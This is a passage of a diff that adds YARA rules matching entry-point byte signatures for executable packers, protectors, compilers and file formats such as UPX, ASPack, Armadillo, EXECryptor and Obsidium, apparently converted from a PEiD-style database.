+		$1 = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _SMK_movie_file_
+{
+	meta:
+		description = "SMK movie file"
+	strings:
+		$0 = {53 4D 4B 32}
+	condition:
+		$0 at entrypoint
+}
+rule _XComp_V097_LZSS__JoKo_
+{
+	meta:
+		description = "XComp V0.97 (LZSS) -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 97 03 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 4C ?? ?? 00 34}
+	condition:
+		$0 at entrypoint
+}
+rule _WordPerfect_EXEPack_
+{
+	meta:
+		description = "WordPerfect EXEPack"
+	strings:
+		$0 = {95 8C C0 05 10 00 0E 1F A3 04 00 03 06 0C 00 8E C0 8B 0E 06 00 8B F9 4F 8B F7 FD F3 A4 8B 16 0E 00 50 B8 39 00 50 CB 8C D8 2B C2 8E D8 8E C0 BF 0F 00 8B F7 B1 10 B0 FF F3 AE 47 87 F7 8C C8 2B C2 8E C0 B1 04 8B C6 F7 D0 D3 E8 8C DA 2B D0 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Windows_Metafile_
+{
+	meta:
+		description = "Microsoft Windows Metafile"
+	strings:
+		$0 = {D7 CD C6 9A}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_420__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.20 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v272_v273__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.72- v2.73 -> WebToolMaster"
+	strings:
+		$0 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v11__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.1 -> CGSoftLabs"
+	strings:
+		$0 = {E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35}
+		$1 = {E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeFactor_20__ExeFactor_
+{
+	meta:
+		description = "ExeFactor 2.0 -> ExeFactor"
+	strings:
+		$0 = {55 8B EC 81 EC 7C 0B 00 00 53 56 57 E9 00 8B 01 00 55 53 43 41 54 49 4F 4E 33 82 42 9F 51 87 D5 12 BE 0A E2 A9 1B D3 67 F6 81 4F 2C FB 97 2C 96 22 8C EF 0E 7B B8 BE}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_v02__CoDe_Inside_
+{
+	meta:
+		description = "EP v0.2 -> CoDe_Inside"
+	strings:
+		$0 = {6A 00 60 E9 01 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v25x__v26x_
+{
+	meta:
+		description = "Armadillo v2.5x - v2.6x"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL [aPLib] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_Setup_Module_
+{
+	meta:
+		description = "Borland Delphi Setup Module"
+	strings:
+		$0 = {55 89 E5 E8 ?? ?? ?? ?? C9 C3 ?? ?? 45 58 45}
+		$1 = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ANDpakk2_apk2_V006__Dmitry_AND_Andreev___20080731_
+{
+	meta:
+		description = "ANDpakk2 (apk2) V0.06 -> Dmitry AND Andreev  * 20080731"
+	strings:
+		$0 = {60 FC BE ?? ?? ?? ?? BF ?? ?? ?? ?? 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD ?? ?? ?? ?? 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V500V5X_Dll__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo V5.00-V5.X Dll -> Silicon Realms Toolworks"
+	strings:
+		$0 = {83 7C 24 08 01 75 05 E8 ?? ?? ?? ?? FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ?? ?? ?? ?? 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 ?? ?? ?? ?? C7 00 0C 00 00 00 57 57 57 57 57}
+		$1 = {83 7C 24 08 01 75 05 E8 ?? ?? ?? ?? FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ?? ?? ?? ?? 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 ?? ?? ?? ?? C7 00 0C 00 00 00 57 57 57 57 57 E8 ?? ?? ?? ?? 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 ?? ?? ?? ?? 59 89 7D FC FF 75 08 E8 ?? ?? ?? ?? 59 89 45 E4 C7 45 FC FE FF FF FF E8 ?? ?? ?? ?? 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 ?? ?? ?? ?? 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 ?? ?? ?? ?? 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 ?? ?? ?? ?? 59 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _setupexe_Section34data_
+{
+	meta:
+		description = "setup.exe Section(3/4,.data)"
+	strings:
+		$0 = {80 16 42 00 48 05 44 00 00 00 00 00 2E 3F 41 56 5F 63 6F 6D 5F 65 72}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.3 -> CGSoftLabs"
+	strings:
+		$0 = {45 78 50 72 2D 76 2E 31 2E 33 2E}
+		$1 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05}
+		$2 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05}
+		$3 = {45 78 50 72 2D 76 2E 31 2E 33 2E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3
+}
+rule _EXEStealth_276_Unregistered__WebtoolMaster_
+{
+	meta:
+		description = "EXEStealth 2.76 Unregistered -> WebtoolMaster"
+	strings:
+		$0 = {EB ?? 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 53 68 61 72 65 77 61 72 65 20}
+		$1 = {EB ?? 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 53 68 61 72 65 77 61 72 65 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_V22XV24X__StrongBit_Technology__SignByfly_
+{
+	meta:
+		description = "EXECryptor V2.2X-V2.4X -> StrongBit Technology * Sign.By.fly"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 E8 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1333__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.3 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+		$1 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27}
+		$2 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _NoobyProtect_V1XXX__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect V1.X.X.X -> Nooby * 20090201"
+	strings:
+		$0 = {4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E ?? 2E ?? 2E ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CreateInstall_Stub_vxx_
+{
+	meta:
+		description = "CreateInstall Stub vx.x"
+	strings:
+		$0 = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56}
+		$1 = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 BF 00 30 00 00 FF 15 20 61 40 00 50 FF 15 2C 61 40 00 6A 04 57 68 00 FF 01 00 56 FF 15 CC 60 40 00 6A 04 A3 CC 35 40 00 57 68 00 0F 01 00 56 FF 15 CC 60 40 00 68 00 01 00 00 BE B0 3F 40 00 56 A3 C4 30 40 00 FF 75 08 FF 15 10 61 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule __22b__Shoooo_
+{
+	meta:
+		description = "Ü¥±±Ñ¹Ëõ 2.2b -> Shoooo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+	condition:
+		$0 at entrypoint
+}
+rule _Sun_Raster_Graphics_format_
+{
+	meta:
+		description = "Sun Raster Graphics format"
+	strings:
+		$0 = {59 A6 6A 95}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2117__Strongbit__SoftComplete_Development_h_
+{
+	meta:
+		description = "EXECryptor 2.1.17 -> Strongbit / SoftComplete Development (h)"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01}
+	condition:
+		$0 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V109X__Nooby__20081218_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.0.9.X -> Nooby * 20081218"
+	strings:
+		$0 = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65 72 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SuckStop_v111_
+{
+	meta:
+		description = "SuckStop v1.11"
+	strings:
+		$0 = {EB ?? ?? ?? BE ?? ?? B4 30 CD 21 EB ?? 9B}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_16x__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.6.x -> CGSoftLabs"
+	strings:
+		$0 = {68 ?? ?? ?? ?? C3 ?? ?? ?? ?? ?? ?? CC ?? ?? 49 AD BA ?? ?? ?? ?? 9F F3 08 F6 9C 84 E1 A9 ?? ?? ?? ?? 60 40}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_p_Virus_Shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable + Virus Shield)"
+	strings:
+		$0 = {03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+		$1 = {03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v211c__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.11c -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v020_
+{
+	meta:
+		description = "PC Shrinker v0.20"
+	strings:
+		$0 = {E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v037__v038_Beta_Strip_base_relocation_table_Option_Dwing_
+{
+	meta:
+		description = "Upack v0.37 ~ v0.38 Beta (Strip base relocation table Option)-> Dwing"
+	strings:
+		$0 = {53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105_v124__Markus__Laszlo_overlay_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 0B 90 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 ?? ?? 11 DB 72 ?? B8 01 00 00 00 01 DB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_20030X__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX 2.00-3.0X -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF ?? ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 57 48 F2 AE 55 FF ?? ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB E1 FF ?? ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? ?? ?? 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+		$1 = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF ?? ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 57 48 F2 AE 55 FF ?? ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB E1 FF ?? ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? ?? ?? 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+		$2 = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _PECompact_v094__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v0.94 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32_GCC_V3X_
+{
+	meta:
+		description = "MingWin32 GCC V3.X"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? 40 00 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEProtect_09_by_Cristoph_Gabler_1998_
+{
+	meta:
+		description = "PE-Protect 0.9 by Cristoph Gabler 1998"
+	strings:
+		$0 = {50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39}
+	condition:
+		$0 at entrypoint
+}
+rule _Free_Pascal_v106_
+{
+	meta:
+		description = "Free Pascal v1.06"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 ?? E8 ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_13beta__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 1.3beta -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _RSCs_Process_Patcher_v14_
+{
+	meta:
+		description = "R!SC's Process Patcher v1.4"
+	strings:
+		$0 = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92}
+		$1 = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92 20 40 00 68 A2 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 7C 01 00 00 85 C0 0F 84 2A 01 00 00 B8 00 60 40 00 8B 00 A3 1C 22 40 00 BE 40 60 40 00 83 7E FC 00 0F 84 F6 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 83 00 00 00 81 FF 72 21 73 63 0F 84 DD 00 00 00 33 DB 66 8B 1E 8B CF 8D 7E 02 C7 05 EA 21 40 00 00 00 00 00 83 05 EA 21 40 00 01 50 A1 1C 22 40 00 39 05 EA 21 40 00 58 0F 84 C1 00 00 00 60 6A 00 53 68 EA 20 40 00 51 FF 35 92 20 40 00 E8 EB 00 00 00 61 60 FC BE EA 20 40 00 8B CB F3 A6 61 75 C2 03}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _yzpack_V112__UsAr_
+{
+	meta:
+		description = "yzpack V1.12 -> UsAr"
+	strings:
+		$0 = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00}
+		$1 = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Basic_50__60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)"
+	strings:
+		$0 = {C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77}
+		$1 = {C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Unknown_UPX_or_File_modifyer_
+{
+	meta:
+		description = "Unknown UPX or File modifyer"
+	strings:
+		$0 = {E8 02 00 00 00 CD 03 5A 81 C2 86 EA FE FF 81 C2 45 23 01 00 89 D1 81 C1 3C 05 00 00 52 81 2A 33 53 45 12 83 C2 04 39 CA 7E F3 89 CA 8B 42 04 8D 18 29 02 BB 78 56 00 00 83 EA 04 3B 14 24 7D EC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_Visual_Cpp_v8_DLL_hsmall_sig1_
+{
+	meta:
+		description = "MS Visual C++ v.8 DLL (h-small sig1)"
+	strings:
+		$0 = {8B FF 55 8B EC 83 7D 0C 01 75 05 E8 ?? ?? ?? FF 5D E9 D6 FE FF FF CC CC CC CC CC}
+		$1 = {8B FF 55 8B EC 83 7D 0C 01 75 05 E8 ?? ?? ?? FF 5D E9 D6 FE FF FF CC CC CC CC CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SoftProtect__SoftProtectbyru_
+{
+	meta:
+		description = "SoftProtect -> SoftProtect.by.ru"
+	strings:
+		$0 = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C}
+		$1 = {E8 0C 15 00 00 8D 85 2F 14 00 00 C7 00 00 00 00 00 E8 29 0F 00 00 E8 F6 14 00 00 8D 85 20 01 00 00 50 E8 AA 16 00 00 83}
